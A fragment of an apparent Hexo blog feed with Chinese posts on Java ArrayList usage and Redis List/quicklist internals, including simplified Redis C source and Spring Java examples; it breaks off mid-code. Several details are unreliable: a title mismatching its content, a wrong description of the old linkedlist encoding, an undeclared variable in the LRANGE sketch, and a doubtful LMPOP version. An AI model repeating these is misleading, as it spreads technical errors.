        <content type="html"><![CDATA[<h1 id="CopyOnWriteArrayList-适合什么场景"><a href="#CopyOnWriteArrayList-适合什么场景" class="headerlink" title="CopyOnWriteArrayList 适合什么场景"></a>CopyOnWriteArrayList 适合什么场景</h1><p>ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; names = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">names.add(<span class="string">&quot;Java&quot;</span>);</span><br><span class="line">names.add(<span class="string">&quot;Spring&quot;</span>);</span><br><span class="line">System.out.println(names.get(<span class="number">0</span>));</span><br></pre></td></tr></table></figure><h2 id="扩容机制"><a href="#扩容机制" class="headerlink" title="扩容机制"></a>扩容机制</h2><p>ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Long&gt; ids = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(<span class="number">1000</span>);</span><br></pre></td></tr></table></figure><h2 id="删除元素的正确方式"><a href="#删除元素的正确方式" class="headerlink" title="删除元素的正确方式"></a>删除元素的正确方式</h2><p>遍历时删除元素，不要直接在 for-each 里 remove：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Iterator&lt;String&gt; iterator = names.iterator();</span><br><span class="line"><span class="keyword">while</span> (iterator.hasNext()) &#123;</span><br><span class="line">    <span class="keyword">if</span> (iterator.next().startsWith(<span class="string">&quot;J&quot;</span>)) &#123;</span><br><span class="line">        iterator.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis List与Quicklist实现</title>
      <link href="//redis-list-quicklist-implementation/"/>
      <url>//redis-list-quicklist-implementation/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-List与Quicklist实现"><a href="#Redis-List与Quicklist实现" class="headerlink" title="Redis List与Quicklist实现"></a>Redis List与Quicklist实现</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、List编码演进"><a href="#一、List编码演进" class="headerlink" title="一、List编码演进"></a>一、List编码演进</h2><p>#</p><h2 id="1-1-编码历史"><a href="#1-1-编码历史" class="headerlink" title="1.1 编码历史"></a>1.1 编码历史</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Redis 3.2之前：</span><br><span class="line">  - 满足条件：ziplist（单个ziplist）</span><br><span class="line">  - 不满足：linkedlist（双向链表，每个节点一个ziplist）</span><br><span class="line"></span><br><span class="line">Redis 3.2之后：</span><br><span class="line">  - quicklist（由多个ziplist组成的双向链表）</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-为什么引入Quicklist"><a href="#1-2-为什么引入Quicklist" class="headerlink" title="1.2 为什么引入Quicklist"></a>1.2 为什么引入Quicklist</h2><p><strong>LinkedList的问题</strong>：</p><ul><li>每个节点需要prev/next指针（16字节开销）</li><li>每个节点单独分配内存（内存碎片）</li><li>CPU缓存不友好（节点不连续）</li></ul><p><strong>Ziplist的问题</strong>：</p><ul><li>大ziplist插入/删除效率低</li><li>连锁更新问题</li></ul><p><strong>Quicklist的解决</strong>：</p><ul><li>每个节点是一个小ziplist（平衡内存和性能）</li><li>节点间用指针连接（保持双向链表的灵活性）</li><li>可对节点进行压缩（节省内存）</li></ul><h2 id="二、Quicklist结构"><a href="#二、Quicklist结构" class="headerlink" title="二、Quicklist结构"></a>二、Quicklist结构</h2><p>#</p><h2 id="2-1-整体结构"><a href="#2-1-整体结构" class="headerlink" title="2.1 整体结构"></a>2.1 整体结构</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Quicklist：</span><br><span class="line">┌──────────┐    ┌──────────┐    ┌──────────┐</span><br><span class="line">│  head    │───&gt;│  node1   │───&gt;│  node2   │───&gt; NULL</span><br><span class="line">│          │    │ ziplist1 │    │ ziplist2 │</span><br><span class="line">│  tail    │&lt;───│          │&lt;───│          │</span><br><span class="line">└──────────┘    └──────────┘    └──────────┘</span><br><span class="line">     │</span><br><span class="line">     ▼</span><br><span class="line">  count: 总元素数</span><br><span class="line">  len: 节点数</span><br><span class="line">  fill: 单个ziplist的最大entry数</span><br><span class="line">  compress: 两端保留未压缩的节点数</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-核心结构定义"><a href="#2-2-核心结构定义" class="headerlink" title="2.2 核心结构定义"></a>2.2 核心结构定义</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">quicklist</span> &#123;</span></span><br><span class="line">    quicklistNode *head;        <span class="comment">// 头节点</span></span><br><span class="line">    quicklistNode *tail;        <span class="comment">// 尾节点</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> count;        <span class="comment">// 总元素数量</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> len;          <span class="comment">// 节点数量</span></span><br><span class="line">    <span class="type">int</span> fill : QL_FILL_BITS;    <span class="comment">// 单个ziplist的fill因子</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> compress : QL_COMP_BITS;  <span class="comment">// 压缩深度</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> bookmark_count: QL_BM_BITS;</span><br><span class="line">    quicklistBookmark bookmarks[];</span><br><span class="line">&#125; quicklist;</span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">quicklistNode</span> &#123;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">quicklistNode</span> *<span class="title">prev</span>;</span>     <span class="comment">// 前驱指针</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">quicklistNode</span> *<span class="title">next</span>;</span>     <span class="comment">// 后继指针</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">char</span> *zl;              <span class="comment">// ziplist数据</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> sz;                <span class="comment">// ziplist大小（字节）</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> count : <span class="number">16</span>;        <span class="comment">// ziplist中entry数</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> encoding : <span class="number">2</span>;      <span class="comment">// 编码：RAW或LZF压缩</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> container : <span class="number">2</span>;     <span class="comment">// 容器类型</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> recompress : <span class="number">1</span>;    <span class="comment">// 是否临时解压</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> attempted_compress : <span class="number">1</span>;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> extra : <span class="number">10</span>;</span><br><span class="line">&#125; quicklistNode;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-3-配置参数"><a href="#2-3-配置参数" class="headerlink" title="2.3 配置参数"></a>2.3 配置参数</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># redis.conf</span><br><span class="line"></span><br><span class="line"># 单个ziplist的最大entry数</span><br><span class="line"># 正数：entry数量限制</span><br><span class="line"># 负数：大小限制（-1: 4KB, -2: 8KB, -3: 16KB, -4: 32KB, -5: 64KB）</span><br><span class="line">list-max-ziplist-size -2    # 默认-2，即8KB</span><br><span class="line"></span><br><span class="line"># 两端不压缩的节点数</span><br><span class="line"># 0: 不压缩</span><br><span class="line"># 1: 两端各1个节点不压缩，中间压缩</span><br><span class="line"># 3: 两端各3个节点不压缩，中间压缩</span><br><span class="line">list-compress-depth 0       # 默认不压缩</span><br></pre></td></tr></table></figure><h2 id="三、Quicklist操作"><a href="#三、Quicklist操作" class="headerlink" title="三、Quicklist操作"></a>三、Quicklist操作</h2><p>#</p><h2 id="3-1-LPUSH-RPUSH"><a href="#3-1-LPUSH-RPUSH" class="headerlink" title="3.1 LPUSH/RPUSH"></a>3.1 LPUSH/RPUSH</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 在头部插入</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">quicklistPushHead</span><span class="params">(quicklist *quicklist, <span class="type">void</span> *value, <span class="type">size_t</span> sz)</span> &#123;</span><br><span class="line">    quicklistNode *orig_head = quicklist-&gt;head;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 尝试在头部节点插入</span></span><br><span class="line">    <span class="keyword">if</span> (likely(quicklist-&gt;head &amp;&amp; </span><br><span class="line">               quicklist-&gt;head-&gt;encoding == QUICKLIST_NODE_ENCODING_RAW &amp;&amp;</span><br><span class="line">               quicklist-&gt;head-&gt;count &lt; quicklist-&gt;fill)) &#123;</span><br><span class="line">        <span class="comment">// 头部ziplist还有空间，直接插入</span></span><br><span class="line">        quicklist-&gt;head-&gt;zl = ziplistPush(quicklist-&gt;head-&gt;zl, value, sz, ZIPLIST_HEAD);</span><br><span class="line">        quicklist-&gt;head-&gt;count++;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// 需要新建节点</span></span><br><span class="line">        quicklistNode *node = quicklistCreateNode();</span><br><span class="line">        node-&gt;zl = ziplistPush(ziplistNew(), value, sz, ZIPLIST_HEAD);</span><br><span class="line">        node-&gt;count = <span class="number">1</span>;</span><br><span class="line">        </span><br><span class="line">        _quicklistInsertNodeBefore(quicklist, quicklist-&gt;head, node);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    quicklist-&gt;count++;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-节点分裂"><a href="#3-2-节点分裂" class="headerlink" title="3.2 节点分裂"></a>3.2 节点分裂</h2><p>当ziplist超过大小时，会分裂：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">插入前：</span><br><span class="line">[node: ziplist( entry1, entry2, entry3, entry4 )]</span><br><span class="line"></span><br><span class="line">插入entry5后超过限制：</span><br><span class="line">[node1: ziplist( entry1, entry2 )]</span><br><span class="line">        ↕</span><br><span class="line">[node2: ziplist( entry3, entry4, entry5 )]</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-节点合并"><a href="#3-3-节点合并" class="headerlink" title="3.3 节点合并"></a>3.3 节点合并</h2><p>当相邻节点的ziplist都很小时，可能合并：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">合并前：</span><br><span class="line">[node1: ziplist( entry1 )]</span><br><span class="line">        ↕</span><br><span class="line">[node2: ziplist( entry2 )]</span><br><span class="line"></span><br><span class="line">合并后：</span><br><span class="line">[node1: ziplist( entry1, entry2 )]</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-4-压缩机制"><a href="#3-4-压缩机制" class="headerlink" title="3.4 压缩机制"></a>3.4 压缩机制</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 压缩深度为1时：</span></span><br><span class="line">┌─────────┐   ┌─────────┐   ┌─────────┐   ┌─────────┐   ┌─────────┐</span><br><span class="line">│未压缩   │&lt;─&gt;│ LZF压缩 │&lt;─&gt;│ LZF压缩 │&lt;─&gt;│ LZF压缩 │&lt;─&gt;│未压缩   │</span><br><span class="line">│头节点   │   │中间节点 │   │中间节点 │   │中间节点 │   │尾节点   │</span><br><span class="line">└─────────┘   └─────────┘   └─────────┘   └─────────┘   └─────────┘</span><br><span class="line"></span><br><span class="line"><span class="comment">// 访问中间节点时临时解压，访问完可选择重新压缩</span></span><br></pre></td></tr></table></figure><p><strong>LZF压缩</strong>：</p><ul><li>轻量级实时压缩算法</li><li>压缩/解压速度快</li><li>压缩比适中</li></ul><h2 id="四、List命令实现"><a href="#四、List命令实现" class="headerlink" title="四、List命令实现"></a>四、List命令实现</h2><p>#</p><h2 id="4-1-LPOP-RPOP"><a href="#4-1-LPOP-RPOP" class="headerlink" title="4.1 LPOP/RPOP"></a>4.1 LPOP/RPOP</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">lpopCommand</span><span class="params">(client *c)</span> &#123;</span><br><span class="line">    robj *o = lookupKeyWriteOrReply(c, c-&gt;argv[<span class="number">1</span>], shared.null[c-&gt;resp]);</span><br><span class="line">    <span class="keyword">if</span> (o == <span class="literal">NULL</span> || checkType(c, o, OBJ_LIST)) <span class="keyword">return</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 从头部弹出</span></span><br><span class="line">    robj *value = listTypePop(o, LIST_HEAD);</span><br><span class="line">    <span class="keyword">if</span> (value == <span class="literal">NULL</span>) &#123;</span><br><span class="line">        addReplyNull(c);</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        addReplyBulk(c, value);</span><br><span class="line">        <span class="comment">// 如果List为空，删除key</span></span><br><span class="line">        <span class="keyword">if</span> (listTypeLength(o) == <span class="number">0</span>) &#123;</span><br><span class="line">            dbDelete(c-&gt;db, c-&gt;argv[<span class="number">1</span>]);</span><br><span class="line">        &#125;</span><br><span class="line">        signalModifiedKey(c, c-&gt;db, c-&gt;argv[<span class="number">1</span>]);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-LRANGE"><a href="#4-2-LRANGE" class="headerlink" title="4.2 LRANGE"></a>4.2 LRANGE</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">lrangeCommand</span><span class="params">(client *c)</span> &#123;</span><br><span class="line">    robj *o = lookupKeyReadOrReply(c, c-&gt;argv[<span class="number">1</span>], shared.emptyarray);</span><br><span class="line">    <span class="keyword">if</span> (o == <span class="literal">NULL</span> || checkType(c, o, OBJ_LIST)) <span class="keyword">return</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="type">long</span> start, end;</span><br><span class="line">    getLongFromObjectOrReply(c, c-&gt;argv[<span class="number">2</span>], &amp;start, <span class="literal">NULL</span>);</span><br><span class="line">    getLongFromObjectOrReply(c, c-&gt;argv[<span class="number">3</span>], &amp;end, <span class="literal">NULL</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 处理负数索引</span></span><br><span class="line">    <span class="type">long</span> llen = listTypeLength(o);</span><br><span class="line">    <span class="keyword">if</span> (start &lt; <span class="number">0</span>) start = llen + start;</span><br><span class="line">    <span class="keyword">if</span> (end &lt; <span class="number">0</span>) end = llen + end;</span><br><span class="line">    <span class="keyword">if</span> (start &lt; <span class="number">0</span>) start = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">if</span> (end &gt;= llen) end = llen - <span class="number">1</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 遍历输出</span></span><br><span class="line">    listTypeIterator *li = listTypeInitIterator(o, start, LIST_TAIL);</span><br><span class="line">    listTypeEntry entry;</span><br><span class="line">    </span><br><span class="line">    addReplyArrayLen(c, (end - start + <span class="number">1</span>));</span><br><span class="line">    <span class="keyword">while</span> (listTypeNext(li, &amp;entry)) &#123;</span><br><span class="line">        <span class="keyword">if</span> (rangelen-- == <span class="number">0</span>) <span class="keyword">break</span>;</span><br><span class="line">        addReplyBulkCBuffer(c, entry.value, entry.sz);</span><br><span class="line">    &#125;</span><br><span class="line">    listTypeReleaseIterator(li);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-LTRIM"><a href="#4-3-LTRIM" class="headerlink" title="4.3 LTRIM"></a>4.3 LTRIM</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">ltrimCommand</span><span class="params">(client *c)</span> &#123;</span><br><span class="line">    robj *o = lookupKeyWriteOrReply(c, c-&gt;argv[<span class="number">1</span>], shared.ok);</span><br><span class="line">    <span class="keyword">if</span> (o == <span class="literal">NULL</span> || checkType(c, o, OBJ_LIST)) <span class="keyword">return</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="type">long</span> start, end;</span><br><span class="line">    getLongFromObjectOrReply(c, c-&gt;argv[<span class="number">2</span>], &amp;start, <span class="literal">NULL</span>);</span><br><span class="line">    getLongFromObjectOrReply(c, c-&gt;argv[<span class="number">3</span>], &amp;end, <span class="literal">NULL</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 计算需要保留的范围</span></span><br><span class="line">    <span class="type">long</span> llen = listTypeLength(o);</span><br><span class="line">    <span class="comment">// ... 处理负数索引 ...</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 删除范围外的元素</span></span><br><span class="line">    listTypeIterator *li;</span><br><span class="line">    listTypeEntry entry;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 删除头部多余元素</span></span><br><span class="line">    li = listTypeInitIterator(o, <span class="number">0</span>, LIST_TAIL);</span><br><span class="line">    <span class="keyword">while</span> (listTypeNext(li, &amp;entry) &amp;&amp; start--) &#123;</span><br><span class="line">        listTypeDelete(li, &amp;entry);</span><br><span class="line">    &#125;</span><br><span class="line">    listTypeReleaseIterator(li);</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 删除尾部多余元素</span></span><br><span class="line">    li = listTypeInitIterator(o, <span class="number">-1</span>, LIST_HEAD);</span><br><span class="line">    <span class="keyword">while</span> (listTypeNext(li, &amp;entry) &amp;&amp; llen - end - <span class="number">1</span> &gt; <span class="number">0</span>) &#123;</span><br><span class="line">        listTypeDelete(li, &amp;entry);</span><br><span class="line">        llen--;</span><br><span class="line">    &#125;</span><br><span class="line">    listTypeReleaseIterator(li);</span><br><span class="line">    </span><br><span class="line">    addReply(c, shared.ok);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、阻塞操作实现"><a href="#五、阻塞操作实现" class="headerlink" title="五、阻塞操作实现"></a>五、阻塞操作实现</h2><p>#</p><h2 id="5-1-BLPOP-BRPOP"><a href="#5-1-BLPOP-BRPOP" class="headerlink" title="5.1 BLPOP/BRPOP"></a>5.1 BLPOP/BRPOP</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">blpopCommand</span><span class="params">(client *c)</span> &#123;</span><br><span class="line">    <span class="comment">// 1. 先尝试非阻塞弹出</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">1</span>; j &lt; c-&gt;argc - <span class="number">1</span>; j++) &#123;</span><br><span class="line">        robj *o = lookupKeyWrite(c-&gt;db, c-&gt;argv[j]);</span><br><span class="line">        <span class="keyword">if</span> (o != <span class="literal">NULL</span> &amp;&amp; o-&gt;type == OBJ_LIST &amp;&amp; listTypeLength(o) != <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="comment">// List非空，直接弹出</span></span><br><span class="line">            robj *value = listTypePop(o, LIST_HEAD);</span><br><span class="line">            <span class="comment">// ... 返回结果 ...</span></span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 2. 所有List都为空，阻塞等待</span></span><br><span class="line">    blockForKeys(c, BLOCKED_LIST, c-&gt;argv + <span class="number">1</span>, c-&gt;argc - <span class="number">2</span>, </span><br><span class="line">                 timeout, <span class="literal">NULL</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-唤醒机制"><a href="#5-2-唤醒机制" class="headerlink" title="5.2 唤醒机制"></a>5.2 唤醒机制</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">客户端A执行：BLPOP queue 30</span><br><span class="line">  │</span><br><span class="line">  ├── 如果queue为空</span><br><span class="line">  │     └── 客户端A加入阻塞队列（按key组织）</span><br><span class="line">  │</span><br><span class="line">  └── 当客户端B执行：LPUSH queue job</span><br><span class="line">        └── 检查queue的阻塞客户端列表</span><br><span class="line">              └── 唤醒客户端A，弹出job返回</span><br></pre></td></tr></table></figure><p><strong>注意</strong>：</p><ul><li>阻塞客户端按时间顺序排队</li><li>多个客户端阻塞同一个key时，先到先服务</li><li>LPUSH可以同时唤醒多个阻塞客户端（如果 push 了多个元素）</li></ul><h2 id="六、应用场景实践"><a href="#六、应用场景实践" class="headerlink" title="六、应用场景实践"></a>六、应用场景实践</h2><p>#</p><h2 id="6-1-消息队列"><a href="#6-1-消息队列" class="headerlink" title="6.1 消息队列"></a>6.1 消息队列</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RedisMessageQueue</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 生产者</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">produce</span><span class="params">(String queue, String message)</span> &#123;</span><br><span class="line">        redis.opsForList().leftPush(queue, message);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 消费者（阻塞式）</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">consume</span><span class="params">(String queue)</span> &#123;</span><br><span class="line">        <span class="keyword">while</span> (running) &#123;</span><br><span class="line">            <span class="comment">// 阻塞弹出，最多等待30秒</span></span><br><span class="line">            <span class="type">String</span> <span class="variable">message</span> <span class="operator">=</span> redis.opsForList()</span><br><span class="line">                .rightPop(queue, <span class="number">30</span>, TimeUnit.SECONDS);</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> (message != <span class="literal">null</span>) &#123;</span><br><span class="line">                processMessage(message);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 多个队列优先级消费</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">consumePriority</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">while</span> (running) &#123;</span><br><span class="line">            <span class="comment">// 从左到右按优先级</span></span><br><span class="line">            <span class="type">String</span> <span class="variable">message</span> <span class="operator">=</span> redis.opsForList()</span><br><span class="line">                .rightPop(<span class="string">&quot;queue:high&quot;</span>, <span class="string">&quot;queue:normal&quot;</span>, <span class="string">&quot;queue:low&quot;</span>, </span><br><span class="line">                         <span class="number">30</span>, TimeUnit.SECONDS);</span><br><span class="line">            <span class="keyword">if</span> (message != <span class="literal">null</span>) &#123;</span><br><span class="line">                processMessage(message);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-最新列表（时间线）"><a href="#6-2-最新列表（时间线）" class="headerlink" title="6.2 最新列表（时间线）"></a>6.2 最新列表（时间线）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TimelineService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">MAX_TIMELINE_SIZE</span> <span class="operator">=</span> <span class="number">1000</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">PAGE_SIZE</span> <span class="operator">=</span> <span class="number">20</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 发布动态</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">postMoment</span><span class="params">(Long userId, String momentJson)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;timeline:user:&quot;</span> + userId;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// LPUSH新动态到头部</span></span><br><span class="line">        redis.opsForList().leftPush(key, momentJson);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// LTRIM保留最近1000条</span></span><br><span class="line">        redis.opsForList().trim(key, <span class="number">0</span>, MAX_TIMELINE_SIZE - <span class="number">1</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 设置过期时间</span></span><br><span class="line">        redis.expire(key, <span class="number">7</span>, TimeUnit.DAYS);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取时间线（分页）</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;String&gt; <span class="title function_">getTimeline</span><span class="params">(Long userId, <span class="type">int</span> page)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;timeline:user:&quot;</span> + userId;</span><br><span class="line">        <span class="type">int</span> <span class="variable">start</span> <span class="operator">=</span> page * PAGE_SIZE;</span><br><span class="line">        <span class="type">int</span> <span class="variable">end</span> <span class="operator">=</span> start + PAGE_SIZE - <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">return</span> redis.opsForList().range(key, start, end);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 获取关注者的时间线（拉模式）</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;String&gt; <span class="title function_">getFeed</span><span class="params">(Long userId, <span class="type">int</span> page)</span> &#123;</span><br><span class="line">        <span class="comment">// 获取关注列表</span></span><br><span class="line">        List&lt;Long&gt; followings = getFollowings(userId);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 获取每个关注者的最新动态</span></span><br><span class="line">        List&lt;String&gt; keys = followings.stream()</span><br><span class="line">            .map(id -&gt; <span class="string">&quot;timeline:user:&quot;</span> + id)</span><br><span class="line">            .collect(Collectors.toList());</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 使用LRANGE获取后合并排序（应用层）</span></span><br><span class="line">        <span class="comment">// 或使用Redis 6.2+的LMPOP</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> mergeAndSort(keys, page);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-栈（LIFO）"><a href="#6-3-栈（LIFO）" class="headerlink" title="6.3 栈（LIFO）"></a>6.3 栈（LIFO）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 实现撤销/重做功能</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UndoRedoManager</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">UNDO_STACK</span> <span class="operator">=</span> <span class="string">&quot;undo:stack&quot;</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">REDO_STACK</span> <span class="operator">=</span> <span class="string">&quot;redo:stack&quot;</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">executeAction</span><span class="params">(String action)</span> &#123;</span><br><span class="line">        <span class="comment">// 执行操作</span></span><br><span class="line">        performAction(action);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 压入撤销栈</span></span><br><span class="line">        redis.opsForList().leftPush(UNDO_STACK, action);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 清空重做栈</span></span><br><span class="line">        redis.delete(REDO_STACK);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">undo</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">action</span> <span class="operator">=</span> redis.opsForList().leftPop(UNDO_STACK);</span><br><span class="line">        <span class="keyword">if</span> (action != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="comment">// 反向执行</span></span><br><span class="line">            reverseAction(action);</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 压入重做栈</span></span><br><span class="line">            redis.opsForList().leftPush(REDO_STACK, action);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">redo</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">action</span> <span class="operator">=</span> redis.opsForList().leftPop(REDO_STACK);</span><br><span class="line">        <span class="keyword">if</span> (action != <span class="literal">null</span>) &#123;</span><br><span class="line">            performAction(action);</span><br><span class="line">            redis.opsForList().leftPush(UNDO_STACK, action);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-4-队列（FIFO）"><a href="#6-4-队列（FIFO）" class="headerlink" title="6.4 队列（FIFO）"></a>6.4 队列（FIFO）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 简单的任务队列</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> 